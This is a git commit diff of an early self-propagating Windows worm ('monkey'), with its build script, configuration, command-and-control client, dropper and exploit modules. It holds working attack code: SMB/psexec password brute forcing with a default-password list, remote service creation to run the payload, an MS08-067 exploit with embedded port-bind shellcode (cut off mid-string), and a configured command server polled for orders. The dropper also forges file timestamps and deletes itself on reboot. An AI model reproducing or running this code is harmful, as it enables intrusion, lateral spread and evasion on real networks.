forked from p15670423/monkey
first commit
This commit is contained in:
parent
73b4647c23
commit
120d259b65
|
@ -0,0 +1 @@
|
|||
__author__ = 'itamar'
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'itamar'
|
|
@ -0,0 +1,2 @@
|
|||
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
|
||||
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"
|
|
@ -0,0 +1,3 @@
|
|||
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
|
||||
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"
|
||||
"%allusersprofile%\desktop\monkey.exe" m0nk3y
|
|
@ -0,0 +1,84 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import ntpath
|
||||
from network.range import ClassCRange, RelativeRange, FixedRange
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter
|
||||
from network import TcpScanner, PingScanner
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class WormConfiguration(object):
|
||||
###########################
|
||||
### logging config
|
||||
###########################
|
||||
|
||||
use_file_logging = True
|
||||
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp")
|
||||
monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp")
|
||||
|
||||
###########################
|
||||
### dropper config
|
||||
###########################
|
||||
|
||||
dropper_try_move_first = sys.argv[0].endswith(".exe")
|
||||
dropper_set_date = True
|
||||
dropper_date_reference_path = r"\windows\system32\kernel32.dll"
|
||||
dropper_target_path = ntpath.join(r"C:\Windows", ntpath.split(sys.argv[0])[-1])
|
||||
|
||||
###########################
|
||||
### monkey config
|
||||
###########################
|
||||
|
||||
singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
|
||||
# how long to wait between scan iterations
|
||||
timeout_between_iterations = 10
|
||||
|
||||
# how many scan iterations to perform on each run
|
||||
max_iterations = 2
|
||||
|
||||
scanner_class = TcpScanner
|
||||
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
victims_max_find = 14
|
||||
|
||||
# how many victims to exploit before stopping
|
||||
victims_max_exploit = 7
|
||||
|
||||
command_server = "russian-mail-brides.com"
|
||||
|
||||
###########################
|
||||
### scanners config
|
||||
###########################
|
||||
|
||||
|
||||
#range_class = RelativeRange
|
||||
#range_size = 8
|
||||
range_class = FixedRange
|
||||
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9",
|
||||
"192.168.144.8", "192.168.144.11", "192.168.144.12",
|
||||
"192.168.166.10", "192.168.166.12", "192.168.166.11")
|
||||
|
||||
# TCP Scanner
|
||||
tcp_target_ports = [445, 135]
|
||||
tcp_scan_timeout = 1000 # 1000 Milliseconds
|
||||
tcp_scan_interval = 200
|
||||
|
||||
# Ping Scanner
|
||||
ping_scan_timeout = 1000
|
||||
|
||||
###########################
|
||||
### exploiters config
|
||||
###########################
|
||||
|
||||
skip_exploit_if_file_exist = True
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
ms08_067_remote_user_add = "IUSER_SUPPORT"
|
||||
ms08_067_remote_user_pass = "Password1!"
|
||||
|
||||
# psexec exploiter
|
||||
psexec_user = "Administrator"
|
||||
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"]
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
import json
|
||||
import random
|
||||
import logging
|
||||
import requests
|
||||
from config import WormConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class ControlClient(object):
|
||||
@staticmethod
|
||||
def get_control_config():
|
||||
try:
|
||||
reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server,
|
||||
"".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip()))
|
||||
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.command_server, exc)
|
||||
return {}
|
||||
|
||||
try:
|
||||
return json.loads(reply._content)
|
||||
except ValueError, exc:
|
||||
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
|
||||
WormConfiguration.command_server, reply._content, exc)
|
||||
return {}
|
||||
|
|
@ -0,0 +1,121 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import ctypes
|
||||
import shutil
|
||||
import pprint
|
||||
import logging
|
||||
import subprocess
|
||||
from ctypes import c_char_p
|
||||
from win32process import DETACHED_PROCESS
|
||||
from control import ControlClient
|
||||
from model import MONKEY_CMDLINE
|
||||
from config import WormConfiguration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
||||
|
||||
class MonkeyDrops(object):
|
||||
def __init__(self, args):
|
||||
if 1 < len(args):
|
||||
LOG.debug("Invalid arguments count for dropper")
|
||||
raise ValueError("Invalid arguments count for dropper")
|
||||
|
||||
if args:
|
||||
dest_path = os.path.expandvars(args[0])
|
||||
else:
|
||||
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path)
|
||||
|
||||
self._config = {'source_path': os.path.abspath(sys.argv[0]),
|
||||
'destination_path': args[0]}
|
||||
|
||||
def initialize(self):
|
||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
new_config = ControlClient.get_control_config()
|
||||
|
||||
def start(self):
|
||||
# we copy/move only in case path is different
|
||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
||||
|
||||
# first try to move the file
|
||||
if not file_moved and WormConfiguration.dropper_try_move_first:
|
||||
try:
|
||||
shutil.move(self._config['source_path'],
|
||||
self._config['destination_path'])
|
||||
|
||||
LOG.info("Moved source file '%s' into '%s'",
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
|
||||
file_moved = True
|
||||
except (WindowsError, IOError, OSError), exc:
|
||||
LOG.debug("Error moving source file '%s' into '%s': %s",
|
||||
self._config['source_path'], self._config['destination_path'],
|
||||
exc)
|
||||
|
||||
# if file still need to change path, copy it
|
||||
if not file_moved:
|
||||
try:
|
||||
shutil.copy(self._config['source_path'],
|
||||
self._config['destination_path'])
|
||||
|
||||
LOG.info("Copied source file '%s' into '%s'",
|
||||
self._config['source_path'], self._config['destination_path'])
|
||||
except (WindowsError, IOError, OSError), exc:
|
||||
LOG.error("Error copying source file '%s' into '%s': %s",
|
||||
self._config['source_path'], self._config['destination_path'],
|
||||
exc)
|
||||
|
||||
return False
|
||||
|
||||
if WormConfiguration.dropper_set_date:
|
||||
try:
|
||||
ref_stat = os.stat(WormConfiguration.dropper_date_reference_path)
|
||||
except:
|
||||
LOG.warn("Cannot set reference date using '%s', file not found",
|
||||
WormConfiguration.dropper_date_reference_path)
|
||||
else:
|
||||
try:
|
||||
os.utime(self._config['destination_path'],
|
||||
(ref_stat.st_atime, ref_stat.st_mtime))
|
||||
except:
|
||||
LOG.warn("Cannot set reference date to destination file")
|
||||
|
||||
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
|
||||
}
|
||||
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||
|
||||
LOG.info("Executed monkey process (PID=%d) with command line: %s",
|
||||
monkey_process.pid, monkey_cmdline)
|
||||
|
||||
time.sleep(3)
|
||||
if monkey_process.poll() is not None:
|
||||
LOG.warn("Seems like monkey died too soon")
|
||||
|
||||
def cleanup(self):
|
||||
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
|
||||
os.path.exists(self._config['source_path']) and \
|
||||
WormConfiguration.dropper_try_move_first:
|
||||
|
||||
# try removing the file first
|
||||
try:
|
||||
os.remove(self._config['source_path'])
|
||||
except Exception, exc:
|
||||
LOG.debug("Error removing source file '%s': %s",
|
||||
self._config['source_path'], exc)
|
||||
|
||||
# mark the file for removal on next boot
|
||||
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
||||
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT):
|
||||
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
||||
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
||||
else:
|
||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config['source_path'])
|
|
@ -0,0 +1,15 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class HostExploiter(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self, host):
|
||||
raise NotImplementedError()
|
||||
|
||||
from win_ms08_067 import Ms08_067_Exploiter
|
||||
from wmiexec import WmiExploiter
|
||||
from smbexec import SmbExploiter
|
|
@ -0,0 +1,77 @@
|
|||
|
||||
|
||||
|
||||
|
||||
import socket
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class RDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, width, height):
|
||||
super(RDPClient, self).__init__(controller)
|
||||
|
||||
self._width = width
|
||||
self._height = height
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data)
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@summary: Call when stack is ready
|
||||
"""
|
||||
print "onReady"
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Call when stack is close
|
||||
"""
|
||||
print "onClose"
|
||||
|
||||
def closeEvent(self, e):
|
||||
print "closeEvent", e
|
||||
|
||||
|
||||
class RDPClientFactory(rdp.ClientFactory):
|
||||
def __init__(self):
|
||||
self._username = "Administrator"
|
||||
self._password = "Password1!"
|
||||
self._domain = ""
|
||||
self._keyboard_layout = "en"
|
||||
self._optimized = False
|
||||
self._security = "rdp" # "ssl"
|
||||
|
||||
self._width = 200
|
||||
self._height = 200
|
||||
|
||||
def __repr__(self):
|
||||
return "<RDPClientFactory %dx%d>" % (self._width, self._height)
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@summary: Build RFB observer
|
||||
We use a RDPClient as RDP observer
|
||||
@param controller: build factory and needed by observer
|
||||
@param addr: destination address
|
||||
@return: RDPClientQt
|
||||
"""
|
||||
|
||||
#create client observer
|
||||
self._client = RDPClient(controller, self._width, self._height)
|
||||
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setDomain(self._domain)
|
||||
controller.setKeyboardLayout(self._keyboard_layout)
|
||||
controller.setHostname(socket.gethostname())
|
||||
if self._optimized:
|
||||
controller.setPerformanceSession()
|
||||
controller.setSecurityLevel(self._security)
|
||||
|
||||
return self._client
|
||||
|
||||
|
||||
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory())
|
||||
reactor.run()
|
|
@ -0,0 +1,131 @@
|
|||
#!/usr/bin/env python
|
||||
#############################################################################
|
||||
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
|
||||
# www.hackingspirits.com
|
||||
# www.coffeeandsecurity.com
|
||||
# Email: d3basis.m0hanty @ gmail.com
|
||||
#############################################################################
|
||||
|
||||
import sys
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc import dcerpc
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
||||
from impacket.smb import SessionError as SessionError2
|
||||
from impacket.smb3 import SessionError as SessionError3
|
||||
except ImportError, exc:
|
||||
print str(exc)
|
||||
print 'Install the following library to make this script work'
|
||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
USE_KERBEROS = False
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
try:
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.psexec_user,
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
||||
host, self._config.psexec_user, password)
|
||||
host.learn_credentials(self._config.psexec_user, password)
|
||||
exploited = True
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
self._config.psexec_user, password, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter SmbExec is giving up...")
|
||||
return False
|
||||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
|
||||
|
||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
|
||||
rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
|
||||
"", "", None)
|
||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||
|
||||
scmr_rpc = rpctransport.get_dce_rpc()
|
||||
|
||||
try:
|
||||
scmr_rpc.connect()
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
||||
host, exc)
|
||||
return False
|
||||
|
||||
smb_conn = rpctransport.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
smb_conn.setTimeout(100000)
|
||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(scmr_rpc)
|
||||
sc_handle = resp['lpScHandle']
|
||||
|
||||
# start the monkey using the SCM
|
||||
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
|
||||
lpBinaryPathName=cmdline)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(scmr_rpc, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, host, cmdline)
|
||||
|
||||
return True
|
|
@ -0,0 +1,344 @@
|
|||
|
||||
import os
|
||||
import ntpath
|
||||
import pprint
|
||||
import logging
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import Exception as DceRpcException
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except DceRpcException, exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where, )
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError, exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
||||
|
||||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, username, password, src_path, dst_path):
|
||||
assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
|
||||
|
||||
config = __import__('config').WormConfiguration
|
||||
src_file_size = os.stat(src_path).st_size
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
|
||||
host, username, password)
|
||||
|
||||
try: smb.logoff()
|
||||
except: pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception, exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception, exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info), )
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception, exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host)
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return None
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with open(src_path, 'rb') as source_file:
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception, exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
finally:
|
||||
try: smb.logoff()
|
||||
except: pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username %s and password '%s'",
|
||||
host, username, password)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception, exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception, exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, domain=host.ip_addr)
|
||||
except Exception, exc:
|
||||
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
|
||||
host, username, password, exc)
|
||||
return None, dialect
|
||||
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
|
@ -0,0 +1,238 @@
|
|||
#!/usr/bin/env python
|
||||
#############################################################################
|
||||
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
|
||||
# www.hackingspirits.com
|
||||
# www.coffeeandsecurity.com
|
||||
# Email: d3basis.m0hanty @ gmail.com
|
||||
#############################################################################
|
||||
|
||||
import sys
|
||||
import time
|
||||
import socket
|
||||
from enum import IntEnum
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc import dcerpc
|
||||
from impacket.dcerpc import transport
|
||||
from impacket.smbconnection import SessionError as SessionError1
|
||||
from impacket.smb import SessionError as SessionError2
|
||||
from impacket.smb3 import SessionError as SessionError3
|
||||
except ImportError, exc:
|
||||
print str(exc)
|
||||
print 'Install the following library to make this script work'
|
||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
|
||||
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
|
||||
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
|
||||
